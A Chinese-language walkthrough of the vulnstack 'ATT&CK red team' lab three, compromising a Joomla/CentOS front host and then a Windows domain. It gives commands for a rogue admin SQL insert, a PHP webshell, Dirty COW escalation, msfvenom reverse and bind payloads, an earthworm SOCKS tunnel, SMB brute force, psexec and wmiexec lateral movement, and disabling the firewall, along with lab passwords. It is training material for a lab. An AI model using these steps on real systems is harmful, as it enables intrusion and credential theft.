靶场搭建
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录
已知出网主机为centos主机
将centos出网网卡和kali攻击机网卡都设置为NAT模式
其它网卡都默认vmnet2模式
如果没有vmnet2虚拟网络,应该在虚拟网络编辑器建立一个虚拟网络vmnet2,仅主机模式,子网地址为192.168.93.0
![图片[1]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659275756_62e689eca495b38c37796.png!small)
开启centos,第一次运行,需重新获取桥接模式网卡ip
service network restart
查看ip,发现两个网段
192.168.48.0/24(出网ip)和192.168.93.0/24(内网ip)
![图片[2]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659275788_62e68a0c8e377d6dec69a.png!small)
在kali上ping一下出网主机,看能否连通
![图片[3]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659275975_62e68ac7cbf401d73d615.png!small)
开启所有主机,靶场搭建完毕
渗透测试
因为是黑盒测试,所以我们现在并不知道出网主机的ip
使用nmap扫描整个网段,探测存活主机
nmap -sP -T4 192.168.48.0/24
![图片[4]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278347_62e6940baf298d5ba1898.png!small)
发现136和134两台主机(1,2,254是网关和广播地址)
136是KALI攻击机,所以靶机地址为192.168.48.134
使用nmap扫描查看端口开放情况
nmap -sS -p 1-65535 -A 192.168.48.134
![图片[5]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278407_62e694475f031b8a7157b.png!small)
开放了22端口,ssh服务,可能存在密码爆破
开放了80端口,存在http网站服务
开放了3306,存在MYSQL服务,可能存在弱口令
访问网站
![图片[6]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278432_62e69460142c20fb73898.png!small)
![图片[7]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278451_62e69473bc365ba3a2e45.png!small)
知道网站CMS是Joomla,直接用kali自带工具joomscan进行扫描
joomscan –url http://192.168.48.134/
![图片[8]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278475_62e6948b3e518a936c62c.png!small)
没有发现漏洞,发现后台
http://192.168.48.134/administrator/index.php
访问后台
![图片[9]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278499_62e694a39a551285498f5.png!small)
测试了一下存不存在默认账号密码弱口令,发现不存在
还扫描出一个敏感配置文件
![图片[10]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278577_62e694f11810af403aea8.png!small)
在配置文件中找到了数据库账号密码
![图片[11]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278593_62e695012a493b86b7ad4.png!small)
使用Nivicat工具成功连接数据库
![图片[12]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278611_62e695139993cbb91a72a.png!small)
前面joomscan已经扫描出joomla版本为3.9.12
搜索引擎搜索此版本添加密码
搜索到Joomla使用SQL代码添加密码 Joomla 2.5 Joomla 3.x Joomla 4.x
(这里需要注意表名和组名,这里表名为am2zu_users,组名为am2zu_user_usergroup_map)
![图片[13]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278629_62e69525117021c47f3d1.png!small)
INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Administrator2', 'admin123', '433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); - admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT - secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 - OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
![图片[14]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278648_62e69538770c5a38f9ace.png!small)
添加成功
登录后台成功
![图片[15]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278920_62e6964840e1653c4f9ac.png!small)
新建一个php文件用于保存马
![图片[16]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278940_62e6965c2fe3597f092a6.png!small)
写入一句话木马
![图片[17]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278960_62e696705033ba81ba283.png!small)
使用蚁剑连接
![图片[18]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278976_62e6968032676c71c4c7b.png!small)
![图片[19]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659278991_62e6968f0b1b19905db1c.png!small)
发现不能执行命令
![图片[20]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279012_62e696a4431790f92b93f.png!small)
一定是设置了disable_functions
蚁剑有专门绕过disable_functions的插件(可以在插件市场下载,需要梯子)
![图片[21]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279032_62e696b8d65fd4a11d363.png!small)
选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端
![图片[22]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279051_62e696cb6420f6972a8d8.png!small)
绕过成功
![图片[23]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279074_62e696e2c0496afa8a4f8.png!small)
ipconfig发现只有一个网卡,而centos应该有两个网卡,一个出网网卡,一个内网网卡
![图片[24]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279109_62e69705118e85fc10043.png!small)
uname -a 发现是Ubuntu系统
![图片[25]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279132_62e6971c1f3e22a773f27.png!small)
拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息
原来是Centos是Ubuntu的反向代理,用的是Nginx协议
在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx
前面扫描端口存在ssh,这应该是用在这,使用xshell工具登录ssh
![图片[26]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279155_62e697333c932b34c4de4.png!small)
登录成功
ipconfig
![图片[27]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279169_62e697414532d8592d84e.png!small)
可以看出是centos主机
成功获得centos的shell,接下来进行提权
Linux提权
1、内核提权(脏牛肉提权)
2、suid提权
3、sudo提权
4、数据库提权
sudo -l查看特权命令
![图片[28]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279273_62e697a95609b39a2dc4b.png!small)
不能使用sudo命令
suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
![图片[29]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279319_62e697d72b3d9c5750afd.png!small)
没有可以用于提权的命令
内核提权
脏牛肉提权(CVE-2016-5195)
使用xftp上传exp,上传到临时文件夹/tmp下
![图片[30]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279338_62e697ead7e0ba581f060.png!small)
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456
![图片[31]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279381_62e698158d33b58afb57a.png!small)
su firefart
输入密码123456
![图片[32]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279402_62e6982aa36e75e225cec.png!small)
提权成功
使用xftp上传msf马,上线msf
生成linux马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4445 -f elf > a.elf
上传成功
![图片[33]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279424_62e6984016dd95afca025.png!small)
msf开启监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.48.136
set LPORT 4445
exploit
执行msf马
chmod +x a.elf
./a.elf
成功获得会话
![图片[34]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279459_62e6986321ca705978313.png!small)
内网渗透
由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境
python -c ‘import pty;pty.spawn(“/bin/bash”)’
ipconfig查看网络信息
![图片[35]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279505_62e698910172455d27d20.png!small)
发现内网网段192.168.93.0/24
首先添加路由
route add 192.168.93.0 255.255.255.0 1
![图片[36]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279526_62e698a67f11d8c9d4932.png!small)
添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理
挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复
使用earthworm搭建socks5反向代理,执行以下命令
chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
![图片[37]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279556_62e698c4f18f4326ab1f9.png!small)
通过1080端口,将本地流量转发出去
rcsocks、rssocks 用于反向连接 ,ssocks 用于正向连接
-l 指定本地监听的端口
-e 指定要反弹到的机器端口
-d 指定要反弹到机器的IP
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为 1000
通过xftp工具上传./ew_for_linux64文件到centos的/tmp下
使用xshell工具在centos上执行如下命令
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.48.136 -e 1234
(192.168.48.136为kali攻击机的ip)
![图片[38]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279602_62e698f25bcfe65107839.png!small)
代理建立成功
![图片[39]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279616_62e6990007b39f02c102e.png!small)
ctrl+z 挂起earthworm进程
将socks5 服务器指向 127.0.0.1:1080
vim /etc/proxychains4.conf
![图片[40]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279637_62e699157d81bb79fd146.png!small)
验证代理是否建立成功
![图片[41]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279665_62e69931722a6248007b7.png!small)
jobs命令 查看挂起的进程
![图片[42]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279681_62e699417f59a04d13dd8.png!small)
fg %1 命令回到msfconsole进程
![图片[43]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279696_62e69950049cf2fd3fd5c.png!small)
探测存活主机
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0/24
set THREADS 5
exploit
![图片[44]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279722_62e6996a4b9465ee375b3.png!small)
发现192.168.93.10主机WIN-8GA56TNV3MV
发现192.168.93.20主机WIN2008
发现192.168.93.30主机WIN7
前面已知192.168.93.100主机Centos
还有已知192.168.93.120主机Ubantu
使用nmap再次探测存活主机,进行确认
proxychains4 nmap -sP -T4 192.168.93.0/24
横向移动
使用nmap扫描每台主机
proxychains4 nmap -sP -T4 192.168.93.10
![图片[45]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279755_62e6998b55c3431ccbd96.png!small)
proxychains4 nmap -sP -T4 192.168.93.20
![图片[46]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279782_62e699a606f18b6224111.png!small)
三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机
主机开放了445端口,尝试使用永恒之蓝
![图片[47]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279882_62e69a0a4bdb02e9f692e.png!small)
![图片[48]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279894_62e69a16d843ecb5d6310.png!small)
三台主机都不存在永恒之蓝漏洞
20主机存在1433 mssql服务使用msf的模块进行密码爆破
![图片[49]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279915_62e69a2b3a220d48a56bb.png!small)
发现账号密码就是前面找到的mysql密码
试着使用mssql来执行命令
![图片[50]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279933_62e69a3d103bf8deda26f.png!small)
发现不能执行命令
不能利用mssql,只能通过SMB爆破的方式了这里我尝试了使用responder工具伪造smb服务,然后用mssql触发,没有成功
![图片[51]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279950_62e69a4e112de54b3c925.png!small)
还在网上看到其它方法,但是需要诱使目标主机的管理员输入账号密码
利用msf模块进行进行SMB爆破
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set PASS_FILE /root/fuzzDicts/passwordDict/top500.txt
set SMBUser administrator
exploit
![图片[52]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279976_62e69a68a5a4afe14e084.png!small)
爆破出xp密码为123qwe!ASD
![图片[53]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659279991_62e69a77d8f640a713719.png!small)
爆破出2012密码为zxcASDqw123!!
2008主机爆破报错
换工具爆破,使用kali自带工具hydra
![图片[54]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280015_62e69a8f1eb9142962b3c.png!small)
成功爆破出2008密码也为123qwe!ASD
使用msf自带模块进行攻击
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
exploit
![图片[55]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280060_62e69abc7a060dd8e82fd.png!small)
成功拿下xp主机,获得会话后进行进程迁移,不然很开会断掉
migrate PID
用同样的方法,在2008主机和2012主机上失败
![图片[56]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280043_62e69aab905a3699d0fdc.png!small)
使用另外一种方法
使用impacket包中的wmiexec工具
python wmiexec.py ‘administrator:zxcASDqw123!!@192.168.93.10’
![图片[57]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280105_62e69ae9a6d04a4d82328.png!small)
成功获得2012CMD
python wmiexec.py ‘administrator:123qwe!ASD@192.168.93.20’
![图片[58]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280125_62e69afd4ec2cae788f20.png!small)
成功获得2008CMD
只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接
开远程桌面功能
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group=”Remote Desktop” new enable=yes
![图片[59]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280194_62e69b42286b3f5bc437f.png!small)
连接2012主机的远程桌面失败
![图片[60]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280255_62e69b7fd88354a9ebe27.png!small)
成功连接2008的远程桌面
![图片[61]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280271_62e69b8ff3caa724cfc4f.png!small)
登录时记得要切换用户为administrator
登录成功
![图片[62]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280287_62e69b9fcf15d7dc1cb93.png!small)
生成一个msf bind的马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=5555 -f exe > shell1.exe
将马通过远程连接上传到2008主机上
![图片[63]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280305_62e69bb1d9a9c5fcdc103.png!small)
在kali上进行监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LPORT 5555
exploit
远程桌面执行msf马
成功收到会话
![图片[64]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280335_62e69bcf18b806d110f87.png!small)
通过getsystem提权,成功获得system权限
![图片[65]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280352_62e69be05d4ca357adae1.png!small)
进程迁移
migrate PID(可以通过ps命令查看进程)
2012主机无法通过远程桌面上传文件
想到可以用文件共享
在获得2012主机的CMD中执行命令
net use \192.168.93.20\ipc$ “zxcASDqw123!!” /user:TEST.ORG\Administrator
![图片[66]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280381_62e69bfdf2b12db03b8d5.png!small)
成功建立ipc共享
生成一个msf bind马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.48.136 LPORT=6666 -f exe > shell2.exe
将马通过远程桌面上传到2008主机上
![图片[67]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280401_62e69c112257296a931a1.png!small)
再通过ipc文件共享复制到2012主机上
![图片[68]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280415_62e69c1f920c7e3f04b5c.png!small)
上传成功
在msf开启监听
exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.93.10
set LPORT 6666
exploit
在CMD上执行马
发现没有收到会话,应该是被防火墙拦截了,关闭防火墙
NetSh Advfirewall set allprofiles state off
成功收到会话
![图片[69]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280438_62e69c364f02b9faa6646.png!small)
使用getsystem命令提权
![图片[70]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280452_62e69c4476508ae5e2ab9.png!small)
进程迁移
migrate PID
![图片[71]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280467_62e69c5362ebe693b5a8d.png!small)
成功拿下所有主机
![图片[72]-ATT&CK红队评估(红日靶场三)-NGC660安全实验室](https://image.3001.net/images/20220731/1659280482_62e69c62094407850cb11.png!small)
本文作者:xiaopanghacker, 转载请注明来自FreeBuf.COM
请登录后查看评论内容